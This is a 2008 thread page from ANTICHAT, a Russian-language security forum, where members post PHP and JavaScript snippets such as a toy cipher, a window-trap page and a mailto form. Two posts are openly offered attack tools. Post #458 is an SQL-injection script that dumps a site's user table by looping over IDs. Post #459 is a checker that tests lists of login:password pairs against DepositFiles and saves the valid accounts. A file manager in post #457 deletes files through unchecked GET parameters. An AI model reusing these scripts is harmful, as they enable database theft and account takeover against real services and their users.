HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

кодировщик
  #451  
Старый 22.09.2008, 19:41
heretic1990
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме:
3728999

Репутация: 444
По умолчанию кодировщик

Кодировщик
Код:
<SCRIPT LANGUAGE="JavaScript">
<!--

// By PATRICK CLINGER (pat_clinger@hotmail.com)
// Web Site: http://www.proboards.com/
// Script featured on Website Abstraction (http://wsabstract.com)
// Over 400+ free scripts: Wsabstract.com<br>

var letters = 'ЛМНОПрстуфхцчшщьыъэюяАБВГДЕЫЭЮЯкпghijklабвгдежзийКabvwxyzABCDEFef)_ЖЗИЙРСТУФХЦЧШЩЪЬ+|<>?:mnQRSTUЛМНОПрсту~!@лмно#$%^VWXYZ`1234567opGHIJKLu./;'+" "+';'+"'"+'[]MNOP890-='+'\\'+'&*("{},cdqrst'+"\n";
var split = letters.split("");
var num = '';
var c = '';
var encrypted = '';
function encrypt(it){var b = '0';
var chars = it.split("");
while(b<it.length) {
c = '0';
while(c<letters.length){
if(split[c] == chars[b]){
if(c == "0") {
c = ""; 
}
if(eval(c+10) >= letters.length){
num = eval(10-(letters.length-c));
encrypted += split[num];
}
else{
num = eval(c+10);
encrypted += split[num];
}
}
c++;
}
b++;
}
document.forms[0].data.value = encrypted;encrypted = '';
}
function decrypt(it){
var b = '0';
var chars = it.split("");
while(b<it.length){c = '0';
while(c<letters.length){
if(split[c] == chars[b]){
if(c == "0") {
c = "";
}
if(eval(c-10) < 0){
num = eval(letters.length-(10-c));
encrypted += split[num];
}
else
{
num = eval(c-10);
encrypted += split[num];
}
}
c++;
}
b++;
}
document.forms[0].data.value = encrypted;
encrypted = '';
}
// -->
</SCRIPT>
 
Ответить с цитированием

WordPress footer.php decoder
  #452  
Старый 22.09.2008, 22:09
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию WordPress footer.php decoder

Декодирует footer.php в WordPress. This tool is for decode footer.php in WordPress

http://pashkela.narod.ru/progi/WordPress_footer_decoder.rar
 
Ответить с цитированием

  #453  
Старый 23.09.2008, 00:34
nikoTM
Познающий
Регистрация: 25.09.2007
Сообщений: 42
Провел на форуме:
217723

Репутация: 22
По умолчанию

Цитата:
Сообщение от Sarkis  
Не дает закрвать окно.

PHP код:
<html>
 <
head>
   <
title>Press ALT+F4</title>
 </
head>

 <
body onunload="goodBye()">
    <
p align="center">
        <
b>Yuo cant close your browser window</b>
    </
p>
    <
script language="JavaScript">
       <!--
          function 
goodBye()
            {
window.open("Cantclose.htm");}
       
//-->
    
</script>
    <
p align="center">
       <
b>Try Alt+F4!</b>
    </
p>
 </
body>
</
html

баян! читайте на первых страницах...там есть такое.. точно тот же пост...
 
Ответить с цитированием

  #454  
Старый 23.09.2008, 04:50
DDoSька
Постоянный
Регистрация: 05.05.2008
Сообщений: 403
Провел на форуме:
2375039

Репутация: 1160
Отправить сообщение для DDoSька с помощью ICQ
По умолчанию

nikoTM,зачем так паниковать?Это обычный пример из книги JS, и в интеренете полного такого,просто чел перед тем как постить не будет же листать 46 страниц и смотреть,нету ли дабл мессагов
 
Ответить с цитированием

Скрипт Отправки E-mail по списку
  #455  
Старый 23.09.2008, 22:22
heretic1990
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме:
3728999

Репутация: 444
По умолчанию Скрипт Отправки E-mail по списку

Скрипт Отправки E-mail по списку
Скрипт надо вставить между <BODY> и </BODY>
Код HTML:
<FORM NAME="mailer" METHOD="post" ACTION="" ENCTYPE="text/plain" 
onSubmit="(document.mailer.action += mailtoandsubject)"> 

<!-- Original: Jeff Kieke -->

<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->

<TABLE BORDER=0 bgcolor="#CCCCCC">
<TR VALIGN="top">
<TD>Получатель:</TD>
<TD><SELECT NAME="mailtoperson" onChange="msg(this.form)">
<OPTION VALUE="">-- Выбрать --
<OPTION VALUE="person1@yandex.ru">person1@yandex.ru
<OPTION VALUE="person2@yandex.ru">person2@yandex.ru
<OPTION VALUE="person3@yandex.ru">person3@yandex.ru
</SELECT></TD>
</TR>
<TR VALIGN="top">
<TD>Ваше имя:</TD>
<TD><INPUT TYPE="text" SIZE=35 NAME="name" onChange="msg(this.form)"></TD>
</TR>
<TR VALIGN="top">
<TD>Ваш Email:</TD>
<TD><INPUT TYPE="text" SIZE=35 NAME="email" onChange="msg(this.form)"></TD>
</TR>
<TR VALIGN="top">
<TD>Важность:</TD>
<TD>
<SELECT NAME="priority" onChange="msg(this.form)">
<OPTION VALUE="NaN" selected>Невыбрано
<OPTION VALUE="Normal">Обыное
<OPTION VALUE="Urgent">Важное
<OPTION VALUE="No Reply Needed">Не очень важное
</SELECT></TD>
</TR>
<TR VALIGN="top">
<TD>Тема:</TD>
<TD><INPUT TYPE="text" SIZE=35 NAME="subject" onChange="msg(this.form)"></TD>
</TR>
<TR VALIGN="top">
<TD>Сообщение:</TD>
<TD><TEXTAREA NAME="message" COLS=35 ROWS=5 WRAP="virtual" OnChange="msg(this.form)"></TEXTAREA></TD>
</TR>
<TR>
<TD> </TD>
<TD><INPUT TYPE="submit" VALUE="Отправить">
<INPUT TYPE="reset" VALUE="Сброс"></TD>
</TR>
</TABLE>
</FORM>

<SCRIPT LANGUAGE="JavaScript">
function msg() {
document.mailer.action = "mailto:" 
mailtoandsubject = ((document.mailer.mailtoperson.options[document.mailer.mailtoperson.selectedIndex].value) + '?subject=' + document.mailer.subject.value); 
} 
</SCRIPT> 
 
Ответить с цитированием

  #456  
Старый 23.09.2008, 23:03
nikoTM
Познающий
Регистрация: 25.09.2007
Сообщений: 42
Провел на форуме:
217723

Репутация: 22
По умолчанию

Цитата:
Сообщение от DDoSька  
nikoTM,зачем так паниковать?Это обычный пример из книги JS, и в интеренете полного такого,просто чел перед тем как постить не будет же листать 46 страниц и смотреть,нету ли дабл мессагов
просто ненавижу баянство(кажись нету такого слово =)) )
 
Ответить с цитированием

  #457  
Старый 28.09.2008, 13:16
Chaak
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме:
5321514

Репутация: 3313


Отправить сообщение для Chaak с помощью ICQ
Lightbulb

PHP код:
<?php
###########################
#  Файл менеджер by Chaak
###########################
$safe 'C:\\'//дирректория, куда нельзя дальше соваться =)


function delfolder($folder)
{
    if(
is_dir($folder))
    {
        
$handle opendir($folder);
        while(
$subfile readdir($handle))
        {
            if(
$subfile == '.' or $subfile == '..')
                continue;
            if(
is_file($subfile))
                
unlink("{$folder}/{$subfile}");
            else
                
delfolder("{$folder}/{$subfile}");
        }
        
closedir($handle);
        
rmdir($folder);
    }
    else
    {
        
unlink($folder);
    }
}

if(isset(
$_GET['del']))
{
    
$del urldecode($_GET['del']);
    if(
substr($del,0,strlen($safe)) == $safe)
    {
        if(
is_file($del))
        {
            
unlink($del);
            
header("Location: ".$_GET['location']);
            exit();
        } elseif(
is_dir($del))
        {
            
delfolder($del);
            
header("Location: ".$_GET['location']);
            exit();
        }
    }
    else
    {
        
header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe");
        exit();
    }
}


if(!isset(
$_GET['dir']))
{
    
header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe");
    exit();
}
else
{
    
$path urldecode($_GET['dir']);
    if(
substr($path,0,strlen($safe)) == $safe)
    {
        if(
is_dir($path))
        {

            
$dir scandir($path);
            echo 
'<table>';
            echo 
"<tr><td>№</td><td>Filename</td><td>Действие</td></tr>";


            foreach(
$dir as $i => $item)
            {
                if(!(
$item == '..' || $item == '.'))
                {
                    echo 
"<tr><td>$i</td><td><a href='?dir=$path\\$item'>$item</a></td><td><a href='?del=$path\\$item&location=".$_SERVER["PHP_SELF"]."'>Удалить</a></td></tr>";
                }
                else
                {
                    echo 
"<tr><td>$i</td><td><a href='?dir=$path\\$item'>$item</a></td></tr>";
                }
            }


            echo 
'</table>';


        } elseif(
is_file($path))
        {
            
$file '';
            
$fp fopen($path,'rt');
            while(!
feof($fp))
            {
                
$file .= fgets($fp,1024);
            }
            
fclose($fp);
            
htmlspecialchars($file);

            echo 
"<textarea cols='80' rows='35'>$file</textarea>";
            echo 
'<br><a href="javascript:history.back(-1);">Назад</a>';
        }
        else
        {
            die(
'Выбранного файла не существует');
        }
    }
    else
    {
        
header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe");
        exit();
    }
}
?>
Небольшой файловый менеджер от меня =) писал для развлечения.

Умеет читать/удалять файлы. Очень легко доработать.
 
Ответить с цитированием

  #458  
Старый 03.10.2008, 21:11
MaSTeR GэN
Участник форума
Регистрация: 23.05.2008
Сообщений: 121
Провел на форуме:
305110

Репутация: 133
Отправить сообщение для MaSTeR GэN с помощью ICQ
По умолчанию

скорее всего боян но просто мож кому пригодиться для дампа базы mssql если требуеться авторизация для доступа с скуле ! испольЗовал curl В фаил cookies.txt нужно положить куки для авторизации!
PHP код:
<?
 set_time_limit
(0);
function 
send($get_url)
{
$ch curl_init();
curl_setopt($chCURLOPT_URL$get_url);
curl_setopt($ch,CURLOPT_COOKIEFILE,"cookies.txt");
curl_setopt($chCURLOPT_HEADER,0);
curl_setopt($chCURLOPT_CONNECTTIMEOUT,30);
curl_setopt($chCURLOPT_FOLLOWLOCATION,0);
curl_setopt($chCURLOPT_RETURNTRANSFER,1);
return 
$data curl_exec($ch);
}
$postfix 0;
$filename "base".$postfix.".txt";
$desp fopen ($filename,"a+");
for (
$id=0;$id<30000;$id++){
$get_url="http://site.com/sql.asp?C=1'+OR+1=(select+top+1+user+from+users+where+Id=".$id.")--";
$str=send($get_url);
if (
preg_match("/nvarchar\040'(.*)'\040in\040una\040colonna/",$str,$matches)) {
echo 
$matches[1];
fputs($desp,$matches[1]);
fputs($desp,"\n");
}
}
fclose($desp);
 
/*

 ?>
 
Ответить с цитированием

DepositFiles Accounts Checker
  #459  
Старый 05.10.2008, 08:44
#Wolf#
Постоянный
Регистрация: 26.03.2008
Сообщений: 311
Провел на форуме:
3799424

Репутация: 479
По умолчанию DepositFiles Accounts Checker

вот решил написать чекер акков депозитфайлс.
accounts.txt - файл с акками вида login:рassword
valid.txt - рабочие аккаунты
PHP код:
<?php 
<?php 
#################################
# DepositFiles Accounts Checker       
#              by #Wolf#     
#        ICQ: 79-47-79                                              
#################################
set_time_limit(0); 
$user_agent "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)"# User Agent  
$acclist="accounts.txt"#Файл с аккаунтами вида логин:пароль
$vallist="valid.txt"#куда будем писать валидные аккаунты
$account=file($acclist); #Помещаем аккаунты в массив 
$valid=$invalid=0
function 
Check($login,$pass) {
 
$fp=fsockopen("depositfiles.com",80,$errno,$errstr,30); #открываем сокет
 
$out "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n";   # Отправляем заголовки  
 
$out .= "Host: depositfiles.com\r\n"
 
$out .= "Keep-Alive: 300\r\n";
 
$out .= "Connection: keep-alive\r\n";
 
$out .= "User-Agent: ".$user_agent."\r\n"
 
$out .= "Cookie: income=1\r\n"
 
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
 
fwrite($fp,$out);
 
$ans '';     
 while (!
feof($fp)) { 
        
$ans .= fgets($fp128);  # ответ сервера  
    
}
 
fclose($fp);  # Закрываем сокеты  
 
return strpos($ans,"autologin=") ? true false# Проверяем 

echo 
'<h3>Валидные логины:пароли</h3>'
for(
$i=0;$i<count($account);$i++) {  #цикл
 
list($login,$pass) = explode(":",trim($account[$i]));  # разбиваем аккаунты на логин и пароль
    
if (Check($login,$pass)) {  # Вызываем функцию проверки аккаунта 
    
echo $login.':'.$pass.'<br />';
    
flush();
    
ob_flush();
    
$fd fopen($vallist,'a+'); # открываем файл
    
fputs($fd,$account[$i]); # записываем  в файл  рабочий акк 
    
fclose($fd);  # закрываем файл
    
++$valid
    }else {++
$invalid;} 

echo 
"<br><h3>Итого</h3>Рабочих  аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid.""
?>
kaimi спасибо, поправил

Последний раз редактировалось #Wolf#; 30.11.2009 в 12:43..
 
Ответить с цитированием

  #460  
Старый 05.10.2008, 17:31
Sholoman
Познающий
Регистрация: 05.03.2008
Сообщений: 31
Провел на форуме:
442871

Репутация: 15
По умолчанию

#Wolf# не работает!
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ